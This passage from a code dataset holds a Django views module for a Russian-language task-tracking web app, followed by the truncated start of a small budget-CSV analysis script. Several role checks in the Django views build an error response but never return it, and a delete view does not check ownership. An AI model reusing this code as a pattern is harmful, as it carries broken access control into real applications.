m.Doc.objects.filter(file=fname) \r\n if not docs:\r\n return HttpResponse(u'Указанный файл не существует.') \r\n # Проверка уникальности документа\r\n if len(docs)>1:\r\n return HttpResponse(u'Переданному имени соответствует более одного файла.\\n Загрузка невозможна.')\r\n # выбираем документ в виде документа а не в виде списка \r\n doc = m.Doc.objects.get(file=fname)\r\n # выбираем связанные задачи\r\n if not get_filtered_tasklist(request.user, doc):\r\n return HttpResponse(u'Недостаточно прав для открытия этого документа.')\r\n # определяем строгий mime-type файла \r\n import mimetypes\r\n ctype = mimetypes.guess_type(fname)\r\n f = open(settings.MEDIA_ROOT + fname, 'rb') \r\n data = FileWrapper(f)\r\n response = HttpResponse(data, content_type=ctype)\r\n import urllib\r\n response['Content-Disposition'] = 'attachment; filename=' + urllib.quote(fname.encode('utf-8')) \r\n return response\r\n \r\ndef start_page(request):\r\n return redirect('/home/')\r\n\r\n@login_required\r\ndef execute_task_form(request, ptask_id=None):\r\n \"\"\"\r\n форма отражения процесса исполнения программистом\r\n \"\"\"\r\n if not request.user.groups.filter(name='developer'):\r\n HttpResponse(u'Недостаточно прав для данной операции.')\r\n # проверяем ptask_id\r\n if ptask_id is None:\r\n # если не передан POSTом, проверим в GET\r\n if request.method=='GET':\r\n task_id = int(request.GET.get('task_id'))\r\n if task_id is None: \r\n return HttpResponse(u'Не задан task_id.')\r\n else: \r\n #return HttpResponse('ID: ' + request.POST['id'])\r\n task_id = int(request.POST['id'])\r\n if task_id is None: \r\n return HttpResponse(u'Не задан task_id.')\r\n else:\r\n task_id = ptask_id\r\n try:\r\n task = m.Task.objects.get(pk=task_id)\r\n except:\r\n return HttpResponse(u'Указан неверный task_id.') \r\n c = {}\r\n c1 = {}\r\n docs = ()\r\n form = {}\r\n c.update(csrf(request))\r\n if request.method=='POST':\r\n form = ExecuteTaskForm(request.POST)\r\n if form.is_valid():\r\n task.id = task_id\r\n task.proj = form.cleaned_data['proj'] \r\n task.exe = form.cleaned_data['exe'] \r\n task.closing_type = form.cleaned_data['closing_type'] \r\n task.ready_date = form.cleaned_data['ready_date']\r\n if not task.start_date and task.responsible:\r\n task.start_date = date.today()\r\n task.save() \r\n return redirect('/taskdetail/'+str(task_id)+'/?view=yes') \r\n else:\r\n form = ExecuteTaskForm({'id':task_id,\r\n 'proj':task.proj,\r\n 'exe':task.exe,\r\n 'closing_type':task.closing_type,\r\n 'ready_date':task.ready_date\r\n })\r\n docs = m.Task.objects.get(pk=task_id).base.all()\r\n c1.update(form=form, docs=docs, task_id=task_id, curdate=CurDate())\r\n return render_to_response('executetask.html', c1, \\\r\n context_instance=RequestContext(request, c))\r\n\r\n@login_required\r\ndef appoint_task_form(request, ptask_id=None):\r\n \"\"\"\r\n форма манагера для назначения задачи исполнителю\r\n \"\"\"\r\n if not request.user.groups.filter(name='manager'):\r\n HttpResponse(u'Недостаточно прав для данной операции.')\r\n # проверяем ptask_id\r\n if ptask_id is None:\r\n # если не передан POSTом, проверим в GET\r\n if request.method=='GET':\r\n task_id = int(request.GET.get('task_id'))\r\n if task_id is None: \r\n return HttpResponse(u'Не задан task_id.')\r\n else: \r\n task_id = int(request.POST['id'])\r\n if task_id is None: \r\n return HttpResponse(u'Не задан task_id.')\r\n else:\r\n task_id = ptask_id\r\n try:\r\n task = get_task(task_id)\r\n except:\r\n return HttpResponse(u'Указан неверный task_id.') \r\n c = {} # контекст запроса\r\n c1 = {} # доп. контекст для шаблона\r\n docs=() # список прикрепл. док-тов\r\n form={} # форма\r\n # инициализируем task\r\n c.update(csrf(request))\r\n if request.method=='POST':\r\n form = AppointTaskForm(request.POST)\r\n if form.is_valid():\r\n #return HttpResponse(form.cleaned_data['is_supervised' ])\r\n old_responsible = task.responsible \r\n task.id = task_id\r\n task.module = form.cleaned_data['module']\r\n task.manager = form.cleaned_data['manager']\r\n task.responsible = form.cleaned_data['responsible']\r\n task.date_close = form.cleaned_data['date_close']\r\n task.closing_type = form.cleaned_data['closing_type']\r\n if not task.responsible:\r\n # если отсутствует ответственный чистим дату назначения\r\n # и остальные\r\n task.appoint_date = None\r\n task.start_date = None\r\n task.ready_date = None\r\n task.date_close = None\r\n task.closing_type = None\r\n elif task.responsible != old_responsible:\r\n # если изменен ответственный, меняется дата назначения\r\n task.appoint_date = date.today()\r\n # и чистятся вехи\r\n task.start_date = None\r\n task.ready_date = None\r\n task.date_close = None\r\n task.closing_type = None\r\n task.deadline = form.cleaned_data['deadline'] \r\n if form.cleaned_data['is_supervised' ]==True:\r\n task.is_supervised = 'Y'\r\n else: task.is_supervised = 'N'\r\n task.save()\r\n c1.update(task_id=task_id, curdate=CurDate())\r\n# return render_to_response('task_registered.html', c1, \\\r\n# context_instance=RequestContext(request, c))\r\n # если манагер является девелопером,\r\n # показываем ему форму завершения заявки девелопера\r\n if request.user.groups.filter(name='developer'):\r\n return redirect('/executetask/?task_id='+ str(task_id) )\r\n return redirect('/taskdetail/' + str(task_id) + '/?view=yes' )\r\n else: \r\n return HttpResponse('Введены неверные данные.')\r\n else: \r\n # метод GET - открыта заведенная, но еще не назначенная заявка.\r\n # форма без заявки не может быть открыта.\r\n ffields = {'id':task_id, 'deadline':task.deadline, 'is_supervised':task._is_supervised(), \\\r\n 'date_close':task.date_close,'closing_type':task.closing_type}\r\n # инициализируем поля ModelChoiceField\r\n if task.module: \r\n ffields.update(module=task.module.id)\r\n if task.manager: \r\n ffields.update(manager=task.manager.id)\r\n else:\r\n from django.db.models import Count\r\n if Group.objects.get(name='manager').user_set.all().\\\r\n aggregate(Count('username'))['username__count']==1:\r\n ffields.update(manager=Group.objects.get(name='manager').user_set.all()[0])\r\n if task.responsible: \r\n ffields.update(responsible=task.responsible.id)\r\n form = AppointTaskForm(ffields)\r\n docs = m.Task.objects.get(pk=task_id).base.all()\r\n c1.update(form=form, docs=docs, task_id=task_id, curdate=CurDate())\r\n #return HttpResponse('GET:'+ str(task_id))\r\n return render_to_response('appointtask.html', c1, \\\r\n context_instance=RequestContext(request, c))\r\n\r\n@login_required\r\ndef add_file_form(request, ptask_id=None):\r\n \"\"\"\r\n форма прикрепления 0 или N файлов к таску\r\n \"\"\"\r\n # проверяем ptask_id\r\n c = {}\r\n c1 = {}\r\n docs=()\r\n form={}\r\n c.update(csrf(request))\r\n if request.method=='POST':\r\n form = AddFileForm(request.POST, request.FILES)\r\n if request.POST['task_id']: \r\n task_id = int(request.POST['task_id'])\r\n else: \r\n return HttpResponse(u'Не указан task_id.')\r\n if form.is_valid():\r\n task = m.Task.objects.get(pk=task_id)\r\n if request.FILES:\r\n # формируем контекст пркрепл. документа\r\n # сохраняем новый прикрепл. файл\r\n doc = m.Doc(file=request.FILES['attachment'])\r\n doc.save()\r\n # привязываем документ к таску\r\n task.base.add(doc) \r\n if form.cleaned_data['is_any_more']==True:\r\n # формируем список уже сохраненных документов\r\n docs = task.base.all()\r\n # формируем контекст и страницу с формой для след. файла\r\n c1.update(form=form, docs=docs, task_id=form.cleaned_data['task_id'], \\\r\n curdate=CurDate())\r\n return render_to_response('addfile4task.html', c1, \\\r\n context_instance=RequestContext(request, c))\r\n # если больше не требуется прикреплять,\r\n # манагера переводим на краткую страницу назначения исполнителя\r\n # методой GET\r\n if request.user.is_superuser or \\\r\n request.user.groups.filter(name=\"manager\"):\r\n #return redirect('/appointtask/?task_id=' + str(task_id) )\r\n c1.update(task_id=form.cleaned_data['task_id'], curdate=CurDate())\r\n return redirect('/taskdetail/' + str(task_id) + '/?view=yes')\r\n # девелоперам, не являющимся манагерами, \r\n # показываем их форму завершения заявки\r\n if request.user.groups.filter(name=\"developer\"):\r\n return redirect('/executetask/?task_id=' + str(task_id))\r\n # юзерам, которые не манагеры и не девелоперы, показываем страничку \r\n # подтверждения заявки\r\n c1.update(task_id=form.cleaned_data['task_id'], curdate=CurDate())\r\n return redirect('/taskdetail/' + str(task_id) + '/?view=yes')\r\n else: \r\n # метод GET - новая заявка, новая форма\r\n task_id = int(request.GET.get('task_id', '-1'))\r\n if task_id!=-1:\r\n form = AddFileForm({'task_id':task_id})\r\n else:\r\n form = AddFileForm()\r\n docs = m.Task.objects.get(pk=task_id).base.all()\r\n c1.update(form=form, docs=docs, task_id=task_id, curdate=CurDate())\r\n return render_to_response('addfile4task.html', c1, \\\r\n context_instance=RequestContext(request, c))\r\n \r\n@login_required\r\ndef delete_file(request, ptask_id, pdoc_id):\r\n \"\"\"\r\n удаление документа из формы прикрепления и обновление формы прикрепления\r\n оба доп. параметра обязательны\r\n \"\"\"\r\n doc = m.Doc.objects.get(pk=pdoc_id).delete()\r\n task=m.Task.objects.get(pk=ptask_id)\r\n return redirect('/addfile/?' + 'task_id=' + str(task.id) )\r\n \r\n@login_required\r\ndef delete_task(request, ptask_id):\r\n \"\"\"\r\n удаление неназначенного таска заявителем\r\n \"\"\"\r\n pass\r\n \r\n@login_required\r\ndef add_task_form(request, ptask_id=None):\r\n \"\"\"\r\n Вызов формы ввода заявки\r\n \r\n если задан ptask_id, то форма открывается на ред-е\r\n \"\"\"\r\n # проверяем ptask_id\r\n if ptask_id:\r\n try:\r\n x = int(ptask_id)\r\n except ValueError:\r\n pass\r\n c = {}\r\n c.update(csrf(request))\r\n if request.method==\"POST\":\r\n if request.user.is_superuser: # могут смотреть и менять всё\r\n return edit_task(request, ptask_id)\r\n if request.user.groups.filter(name=\"manager\"): # могут смотреть и менять всё\r\n # кроме ссылки на себя\r\n return edit_task(request, ptask_id, role='manager')\r\n # иначе - если не манагер \r\n if request.user.groups.filter(name=\"customer\"): \r\n return edit_task(request, ptask_id, role='customer')\r\n form = AddTaskForm(request.POST)\r\n if form.is_valid():\r\n \r\n task = m.Task(id=form.cleaned_data['id'], \\\r\n name=form.cleaned_data['name'], \\\r\n descr=form.cleaned_data['desc'])\r\n task.applicant = User.objects.get(username=request.user.username)\r\n task.save()\r\n # переход на форму прикрепления файлов\r\n return redirect('/addfile/?' + 'task_id=' + str(task.id) )\r\n else:\r\n # если новая заявка иль возврат из формы прикрепления докуметов,\r\n # то открываем форму на редактирование\r\n if ptask_id:\r\n task = None\r\n try: task = get_task_filtered(request.user, ptask_id)\r\n except (InvalidTaskId):\r\n return HttpResponse(u'Неверный ID. Заявка № ' + request.POST['id'] + u' не найдена.')\r\n except (TaskNotExists):\r\n return HttpResponse(u'Не существует Заявки. Заявка № ' + request.POST['id'] + u' не найдена.')\r\n except TaskAccessDenied:\r\n return HttpResponse(u'Недостаточно прав для открытия заявки.') \r\n if request.user.is_superuser: \r\n return edit_task(request, ptask_id)\r\n if request.user.groups.filter(name=\"manager\"): # могут смотреть и менять всё\r\n return edit_task(request, ptask_id, role='manager')\r\n if request.user.groups.filter(name=\"customer\"): \r\n return edit_task(request, ptask_id, role='customer')\r\n form = AddTaskForm({'id':task.id, 'name':task.name, 'descr':task.descr})\r\n else: \r\n if request.user.is_superuser: \r\n return edit_task(request, ptask_id)\r\n if request.user.groups.filter(name=\"manager\"): # могут смотреть и менять всё\r\n return edit_task(request, ptask_id, role='manager')\r\n if request.user.groups.filter(name=\"customer\"): \r\n return edit_task(request, ptask_id, role='customer')\r\n form = AddTaskForm()\r\n return render_to_response('addtask4user.html', {'form':form, 'curdate':CurDate()}, \\\r\n context_instance=RequestContext(request, c))\r\n\r\n@login_required\r\ndef common_tasklist(request, page_number=None, p_qs=None):\r\n \"\"\"\r\n Список задач для всех пользователей\r\n p_qs - query set, передаваемый из обработчика формы фильтра\r\n \"\"\"\r\n # проверяем, передан ли требуемый статус\r\n status = None\r\n \r\n if p_qs:\r\n status = 'filter'\r\n\r\n if request.method==\"GET\" and not status:\r\n if request.GET.get('status'):\r\n status = request.GET.get('status')\r\n \r\n # ищем статус и page_number в куки\r\n if not status:\r\n if request.COOKIES.has_key( 'status' ):\r\n status = request.COOKIES['status']\r\n\r\n if not p_qs and status=='filter':\r\n status=''\r\n \r\n c = {}; all_cols = False\r\n template_file=\"common_tasklist.html\"\r\n #Получение номера страницы# \r\n if page_number is None:\r\n if status and status!='filter':\r\n return redirect('/tasklist/1/?status=' + status)\r\n #return redirect('/tasklist/1/')\r\n p = 1\r\n else:\r\n try:\r\n p = int(page_number)\r\n except ValueError:\r\n p = 1\r\n \r\n # формирование QuerySet и контекста\r\n c.update(all_cols=True)\r\n qs = []; status_name = u' - ВСЕ'\r\n if status=='filter':\r\n ls = list(set(p_qs).intersection(set(get_filtered_tasklist(request.user))))\r\n qs = m.Task.objects.filter(pk__in=[li.id for li in ls]) # lambda?\r\n status_name = u' - Фильтр задан пользователем'\r\n \r\n elif status=='new':\r\n qs = get_filtered_tasklist(request.user).filter(responsible__isnull=True).exclude(closing_type='P')\r\n status_name = u' - НОВЫЕ'\r\n\r\n elif status=='not_open':\r\n #return HttpResponse('>'+status+'<')\r\n qs = get_filtered_tasklist(request.user).filter(date_close__isnull=True, ready_date__isnull=True , start_date__isnull=True).exclude(closing_type='P')\r\n status_name = u' - ВСЕ ЕЩЁ НЕ В ОБРАБОТКЕ'\r\n \r\n elif status=='not_ready':\r\n #return HttpResponse('>'+status+'<')\r\n qs = get_filtered_tasklist(request.user).filter(date_close__isnull=True, ready_date__isnull=True).exclude(closing_type='P')\r\n status_name = u' - ВСЕ ЕЩЁ НЕ ГОТОВЫЕ'\r\n\r\n elif status=='not_closed':\r\n #return HttpResponse('>'+status+'<')\r\n qs = get_filtered_tasklist(request.user).filter(date_close__isnull=True).exclude(closing_type='P')\r\n status_name = u' - ВСЕ ЕЩЁ НЕ ЗАКРЫТЫЕ'\r\n\r\n elif status=='closed':\r\n qs = get_filtered_tasklist(request.user).\\\r\n filter(responsible__isnull=False, date_close__isnull=False).exclude(closing_type='P')\r\n status_name = u' - ЗАКРЫТЫЕ'\r\n elif status=='ready':\r\n qs = get_filtered_tasklist(request.user).\\\r\n filter(responsible__isnull=False, date_close__isnull=True, ready_date__isnull=False).exclude(closing_type='P')\r\n status_name = u' - ГОТОВЫЕ'\r\n elif status=='open':\r\n qs = get_filtered_tasklist(request.user).\\\r\n filter(responsible__isnull=False, date_close__isnull=True, \\\r\n ready_date__isnull=True, start_date__isnull=False).exclude(closing_type='P')\r\n status_name = u' - В ОБРАБОТКЕ'\r\n elif status=='set':\r\n qs = get_filtered_tasklist(request.user).\\\r\n filter(responsible__isnull=False, date_close__isnull=True, \\\r\n ready_date__isnull=True, start_date__isnull=True, appoint_date__isnull=False).exclude(closing_type='P')\r\n status_name = u' - НАЗАЧЕННЫЕ'\r\n elif status=='pending':\r\n qs = get_filtered_tasklist(request.user).\\\r\n filter(closing_type='P')\r\n status_name = u' - ОТЛОЖЕННЫЕ'\r\n else:\r\n qs = get_filtered_tasklist(request.user)\r\n cd=CurDate() #; fi=FilterIndicator()\r\n c.update(curdate=cd ,status_name=status_name, status=status)\r\n response = HttpResponse(object_list(request, qs, paginate_by=10, page=p, \\\r\n template_name=template_file, extra_context=c))\r\n response.set_cookie('status', value=status)\r\n return response\r\n\r\n@login_required\r\ndef task_detail(request, ptask_id):\r\n \"\"\"\r\n Детализация задачи\r\n \"\"\"\r\n # проверка task_id\r\n if ptask_id is None:\r\n return HttpResponse(u'Не указан task_id.')\r\n task_id = ptask_id\r\n task = None\r\n try: task = get_task_filtered(request.user, task_id)\r\n except (InvalidTaskId):\r\n return HttpResponse(u'Неверный ID. Заявка № ' + request.POST['id'] + u' не найдена.')\r\n except (TaskNotExists):\r\n return HttpResponse(u'Не существует Заявки. Заявка № ' + request.POST['id'] + u' не найдена.')\r\n except (TaskAccessDenied):\r\n return HttpResponse(u'Недостаточно прав для открытия заявки.') \r\n qs = m.Task.objects.filter(pk=task_id) # Task в форме списка\r\n files = task.base.all()\r\n # если требуется только view, то view и выдаём (как подтверждение \r\n # сохранения)\r\n st, status = task.get_status()\r\n if request.method=='GET':\r\n if request.GET.get('view')=='yes':\r\n if request.user.is_superuser or \\\r\n request.user.groups.filter(name=\"manager\"): # могут смотреть и менять всё\r\n \r\n return HttpResponse(object_detail(request, queryset=qs, object_id=task_id, \\\r\n template_name=\"task_detail.html\", \\\r\n extra_context={\"curdate\":CurDate(), \\\r\n \"header\":'Задача '+ str(task_id)+ ' сохранена.',\\\r\n \"appoint_date\":task.appoint_date,\r\n \"files\":files, \"show_all\":'Y', \"full_edit\":'Y'}))\r\n \r\n elif request.user.groups.filter(name=\"developer\"): # может смотреть и менять только своё\r\n if task.responsible.id==User.objects.get(username=request.user.username).id or \\\r\n task.applicant.id==User.objects.get(username=request.user.username).id:\r\n\r\n return HttpResponse(object_detail(request, queryset=qs, object_id=task_id, \\\r\n template_name=\"task_detail.html\", \\\r\n extra_context={\"curdate\":CurDate(), \\\r\n \"header\":'Задача '+ str(task_id), \\\r\n \"appoint_date\":task.appoint_date,\r\n \"files\":files, \"show_all\":'Y', \"full_edit\":'Y'}))\r\n else:\r\n return render_to_response(\"error.html\", {\"curdate\":CurDate(),\r\n \"message\":'Недостаточно прав.'}, \\\r\n context_instance=RequestContext(request))\r\n \r\n else:\r\n # Клиент и девелопер видят только свои задачки\r\n if task.applicant==request.user and task.responsible!=request.user: \r\n # Клиент не может редактировать, если у задачки есть манагер или ответственный (не он сам)\r\n if (task.manager or task.responsible) :\r\n return HttpResponse(object_detail(request, queryset=qs, object_id=task_id, \\\r\n template_name=\"task_detail.html\", \\\r\n extra_context={\"curdate\":CurDate(), \\\r\n \"header\":'Задача '+ str(task_id)+ ' сохранена.',\\\r\n \"appoint_date\":task.appoint_date,\r\n \"files\":files}))\r\n else:\r\n return HttpResponse(object_detail(request, queryset=qs, object_id=task_id, \\\r\n template_name=\"task_detail.html\", \\\r\n extra_context={\"curdate\":CurDate(), \\\r\n \"header\":'Задача '+ str(task_id)+ ' сохранена.',\\\r\n \"appoint_date\":task.appoint_date,\r\n \"files\":files, \"short_edit\":'Y'}))\r\n \r\n elif task.responsible==request.user:\r\n # Девелопер может смотреть и редактировать только свои ещё не закрытые задачки \r\n if task.status!='closed':\r\n return HttpResponse(object_detail(request, queryset=qs, object_id=task_id, \\\r\n template_name=\"task_detail.html\", \\\r\n extra_context={\"curdate\":CurDate(), \\\r\n \"header\":'Задача '+ str(task_id)+ ' сохранена.',\\\r\n \"appoint_date\":task.appoint_date,\r\n \"files\":files, \"short_edit\":'Y'}))\r\n else: # закрытые - только просмотр\r\n return HttpResponse(object_detail(request, queryset=qs, object_id=task_id, \\\r\n template_name=\"task_detail.html\", \\\r\n extra_context={\"curdate\":CurDate(), \\\r\n \"header\":'Задача '+ str(task_id)+ ' сохр��нена.',\\\r\n \"appoint_date\":task.appoint_date,\r\n \"files\":files}))\r\n \r\n # POST - часть\r\n # если не назначен исполнитель\r\n if st=='new':\r\n # чужую - может посмотреть манагер через форму назначения\r\n if request.user.is_superuser:\r\n return edit_task(request, task_id)\r\n if request.user.groups.filter(name=\"manager\"):\r\n #return redirect('/appointtask/' + str(task_id) + '/')\r\n return edit_task(request, task_id, role='manager') #redirect('/edittask/' + str(task_id) + '/')\r\n # свою заявку можно редактировать свободно\r\n if task.applicant.id==User.objects.get(username=request.user.username).id:\r\n #return HttpResponse('Почему')\r\n return redirect('/addtask/' + task_id + '/')\r\n # если назначен исполнитель, обрабатываем в зависимости от статуса\r\n # заявки\r\n # если заявка открыта или ожидает закрытия\r\n if st in ('set', 'open', 'ready'):\r\n # если манагер - то можно отредактировать назначение\r\n if request.user.is_superuser:\r\n return edit_task(request, task_id)\r\n if request.user.groups.filter(name=\"manager\"):\r\n return edit_task(request, task_id, role='manager') # return redirect('/appointtask/' + str(task_id) +'/')\r\n # если открыта исполнителем - не манагером\r\n if task.responsible.id==User.objects.get(username=request.user.username).id:\r\n return redirect('/executetask/' + str(task_id) + '/')\r\n # Иначе - пользователь смотрит детали только своей!!! заявки\r\n if task.applicant.id==User.objects.get(username=request.user.username).id:\r\n return HttpResponse(object_detail(request, queryset=qs, object_id=task_id, \\\r\n template_name=\"task_detail.html\", \\\r\n extra_context={\"curdate\":CurDate(), \\\r\n \"header\":'Задача '+ str(task_id), \\\r\n \"appoint_date\":task.appoint_date,\r\n \"files\":files}))\r\n # если заявка закрыта\r\n if st in ('closed', 'pending'):\r\n # манагер может переназначить и изменить статус\r\n if request.user.is_superuser:\r\n return edit_task(request, task_id) # return redirect('/appointtask/' + str(task_id) +'/')\r\n if request.user.groups.filter(name=\"manager\"):\r\n return edit_task(request, task_id, role='manager') # return redirect('/appointtask/' + str(task_id) +'/')\r\n # заявитель и исполнитель могут смотреть детали заявки\r\n # каждый своей заявки\r\n if task.responsible.id==User.objects.get(username=request.user.username).id or \\\r\n task.applicant.id==User.objects.get(username=request.user.username).id:\r\n return HttpResponse(object_detail(request, queryset=qs, object_id=task_id, \\\r\n template_name=\"task_detail.html\", \\\r\n extra_context={\"curdate\":CurDate(), \\\r\n \"header\":'Задача '+ str(task_id), \\\r\n \"appoint_date\":task.appoint_date,\r\n \"files\":files}))\r\n \r\n@login_required\r\ndef edit_task(request, ptask_id=None, **kwargs):\r\n \"\"\"\r\n редактирование задачи для манагера и Супера\r\n \"\"\"\r\n is_manager = False\r\n is_customer = False\r\n role = None\r\n try:\r\n role = kwargs.pop('role')\r\n if role=='manager':\r\n is_manager = True\r\n if role=='customer':\r\n is_customer = True\r\n except:\r\n None\r\n #if ptask_id is None:\r\n #return HttpResponse(u'Не указан task_id.')\r\n task_id = ptask_id\r\n task = None\r\n if task_id: \r\n try: task = get_task_filtered(request.user, task_id)\r\n except (InvalidTaskId):\r\n return HttpResponse(u'Неверный ID. Заявка № ' + request.POST['id'] + u' не найдена.')\r\n except (TaskNotExists):\r\n return HttpResponse(u'Не существует Заявки. Заявка № ' + request.POST['id'] + u' не найдена.')\r\n except (TaskAccessDenied):\r\n return HttpResponse(u'Недостаточно прав для открытия заявки.') \r\n # прикреплённые файлы\r\n #files = task.base.all()\r\n c1 = {}\r\n c = {}\r\n c.update(csrf(request))\r\n if request.method=='GET':\r\n if task_id:\r\n if is_manager:\r\n form = TaskFormManager({'id':task_id,\r\n 'name':task.name,\r\n 'descr':task.descr,\r\n 'date_open':task.date_open,\r\n 'start_date':task.start_date,\r\n 'module':task.module,\r\n #'manager':task.manager,\r\n 'applicant':task.applicant,\r\n 'responsible':task.responsible,\r\n 'appoint_date':task.appoint_date,\r\n 'deadline':task.deadline,\r\n 'is_supervised':task.is_supervised,\r\n 'ready_date':task.ready_date,\r\n 'proj':task.proj,\r\n 'exe':task.exe,\r\n 'closing_type':task.closing_type,\r\n 'date_close':task.date_close,\r\n 'decision':task.decision,\r\n 'category':task.category.all(),\r\n 'urgent_important':task.urgent_important\r\n })\r\n elif is_customer:\r\n form = TaskFormCustomer({'id':task_id,\r\n 'name':task.name,\r\n 'descr':task.descr}) \r\n else:\r\n form = TaskForm({'id':task_id,\r\n 'name':task.name,\r\n 'descr':task.descr,\r\n 'date_open':task.date_open,\r\n 'start_date':task.start_date,\r\n 'module':task.module,\r\n 'manager':task.manager,\r\n 'applicant':task.applicant,\r\n 'responsible':task.responsible,\r\n 'appoint_date':task.appoint_date,\r\n 'deadline':task.deadline,\r\n 'is_supervised':task.is_supervised,\r\n 'ready_date':task.ready_date,\r\n 'proj':task.proj,\r\n 'exe':task.exe,\r\n 'closing_type':task.closing_type,\r\n 'date_close':task.date_close,\r\n 'decision':task.decision,\r\n 'category':task.category.all(),\r\n 'urgent_important':task.urgent_important\r\n })\r\n else: \r\n if is_manager:\r\n form = TaskFormManager({'date_open':date.today()})\r\n elif is_customer:\r\n form = TaskFormCustomer()\r\n else:\r\n form = TaskForm({'date_open':date.today()})\r\n else: # POST\r\n if is_manager:\r\n form = TaskFormManager(request.POST)\r\n elif is_customer:\r\n form = TaskFormCustomer(request.POST)\r\n else: \r\n form=TaskForm(request.POST)\r\n if form.is_valid():\r\n task = form.save(commit=False)\r\n if not task.closing_type and task.date_close and task.responsible:\r\n task.closing_type = 'C'\r\n if task_id:\r\n task.id = task_id\r\n if is_customer:\r\n try:\r\n task_temp = m.Task.objects.get(pk=task_id)\r\n if not (task_temp.responsible or task_temp.manager):\r\n if task_temp.applicant:\r\n task.applicant = task_temp.applicant\r\n else:\r\n task.applicant = request.applicant\r\n else:\r\n return render_to_response(\"error.html\", {\"curdate\":CurDate(),\r\n \"message\":'Нельзя изменять заявку, принятую в работу.'}, \\\r\n context_instance=RequestContext(request))\r\n \r\n except:\r\n task.applicant = request.user\r\n #task.applicant = form.cleaned_data['applicant']\r\n else:\r\n task.applicant = request.user\r\n if is_manager and not task.manager:\r\n task.manager = request.user\r\n if not task.date_open:\r\n task.date_open = date.today()\r\n if not task.appoint_date and task.responsible and task.manager:\r\n task.appoint_date = date.today()\r\n if not task.start_date and task.responsible:\r\n task.start_date = date.today()\r\n if task.closing_type:\r\n if not task.ready_date:\r\n if task.date_close:\r\n task.ready_date = task.date_close\r\n else:\r\n task.ready_date = date.today()\r\n if not task.date_close:\r\n task.date_close = date.today()\r\n #20.02.2013\r\n if task.name and not task.descr:\r\n task.descr = task.name\r\n \r\n #if not is_customer: \r\n # task.deadline = form.cleaned_data['deadline'] \r\n # task.is_supervised = form.cleaned_data['is_supervised' ]\r\n # task.urgent_important = form.cleaned_data['urgent_important']\r\n # task.save()\r\n # task.category = form.cleaned_data['category']\r\n # task.save()\r\n #task.category.through.objects.all().delete()\r\n #for category in m.TaskCategory.objects.filter(pk__in=request.POST.getlist('category')):\r\n # task.category.add(category)\r\n #else:\r\n # task.urgent_important = 'D'\r\n # task.save()\r\n task.save()\r\n if form.cleaned_data.has_key('category'):\r\n task.category = form.cleaned_data['category']\r\n task.save()\r\n # переход на форму прикрепления файлов\r\n return redirect('/addfile/?' + 'task_id=' + str(task.id) )\r\n else: return HttpResponse('Форма не айс!')\r\n\r\n curdate = CurDate()\r\n return render_to_response('edit_task.html', {'form':form, 'curdate':CurDate(), 'task_id':task_id, 'curdate':curdate}, \\\r\n context_instance=RequestContext(request, c))\r\n \r\n@login_required\r\ndef search_form(request):\r\n if request.method=='POST':\r\n form = TaskSearchForm(request.POST)\r\n search_string = '1=1'\r\n params = []\r\n if form.is_valid():\r\n for item in form.cleaned_data:\r\n if item in ('name', 'descr'):\r\n if form.cleaned_data[item]:\r\n search_string += \" and upper(\" + item + \") like %s\"\r\n params.append(form.cleaned_data[item].upper())\r\n \r\n #return HttpResponse(search_string % tuple(params))\r\n for i in range(len(params)):\r\n if params[i][:1]!='%':\r\n params[i] = '%' + params[i]\r\n if params[i][len(params[i])-1:]!='%':\r\n params[i] += '%'\r\n qs = m.Task.objects.extra(where=[search_string], params=params)\r\n return common_tasklist(request, None, qs)\r\n else: \r\n form = TaskSearchForm()\r\n c = {}\r\n c.update(csrf(request))\r\n\r\n return render_to_response('search_task.html', {'form':form, 'curdate':CurDate()},\r\n context_instance=RequestContext(request, c))\r\n None\r\n return HttpResponse('Данная функция находится в разработке.')\r\n \r\n@login_required\r\ndef change_password(request):\r\n if request.method=='POST':\r\n form = ChangePasswordForm(request.POST)\r\n if form.is_valid(): \r\n if request.user.check_password(form.cleaned_data['old_password']):\r\n request.user.set_password(form.cleaned_data['new_password'])\r\n request.user.save()\r\n return render_to_response(\"error.html\", {\"curdate\":CurDate(),\r\n \"message\":'Пароль изменён.'}, \\\r\n context_instance=RequestContext(request))\r\n else:\r\n return render_to_response(\"error.html\", {\"curdate\":CurDate(),\r\n \"message\":'Вы указали неверный пароль.'}, \\\r\n context_instance=RequestContext(request))\r\n form = ChangePasswordForm()\r\n c = {}\r\n c.update(csrf(request))\r\n return render_to_response('change_password.html', {'form':form, 'curdate':CurDate()},\r\n context_instance=RequestContext(request, c))\r\n \r\ndef my_logout(request):\r\n from django.contrib.auth import logout\r\n logout(request)\r\n return redirect('/home/')\r\n\r\ndef home_page(request):\r\n \"\"\"\r\n домашняя страничка\r\n \"\"\"\r\n if request.method=='POST':\r\n uname = request.POST['username']\r\n passw = request.POST['password']\r\n user = auth.authenticate(username=uname, password=passw)\r\n if user is not None and user.is_active:\r\n auth.login(request, user)\r\n else: return render_to_response(\"error.html\", {\"curdate\":CurDate(),\r\n \"message\":'Указаны Неверные логин или пароль.'}, \\\r\n context_instance=RequestContext(request))\r\n return render_to_response(\"hello.html\", {\"curdate\":CurDate()}, \\\r\n context_instance=RequestContext(request))\r\n \r\n\r\n \r\n\r\n","sub_path":"SQL/upd_20130220/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":44204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"527798865","text":"#import library\nimport os\nimport csv\n\n#joining path\npybank_data = os.path.join('Resources', 'budget_data.csv')\n\n#open and read csv\nwith open(pybank_data) as csvfile:\n csvreader = csv.reader(csvfile, delimiter=',')\n csv_header = next(csvreader)\n\n\n #create lists for rows and define variables\n months = []\n profit_losses = []\n average_change = []\n\n #read through each row after header and append into lists\n for row in csvreader:\n months.append(row[0])\n profit_losses.append(int(row[1]))\n\n for p in range(len(profit_losses)-1):\n#The average of the changes in \"Profit/Losses\" over the entire period\n average_change.append((profit_losses[p+1] - profit_losses[p]))\n\n#The greatest increase in profits (date and amount) over the entire period\ngreatest_increase = max(average_change)\n\n#The greatest decrease in losses (date and amount) over the entire period\ngreatest_decrease = min(average_change)\n\nmax_month = average_change.index(max(average_change)) + 1\nmin_month = average_change.index(min(average_change)) + 1\n\n#print financial analysis\nprint(\"Financial Analysis\")\nprint(\"----------------------------\")\nprint(f\"Total Months: {len(months)}\")\nprint(f\"Total: ${sum(profit_losses)}\")\nprint(f\"Average Change: {(sum(average_change) / len(average_change)):.2f}\")\nprint(f\"Greatest Increase in Profits: {months[max_month]} (${str(greatest_increase)})\")\nprint(f\"Greatest Decrease in Profits: {months[min_month]} 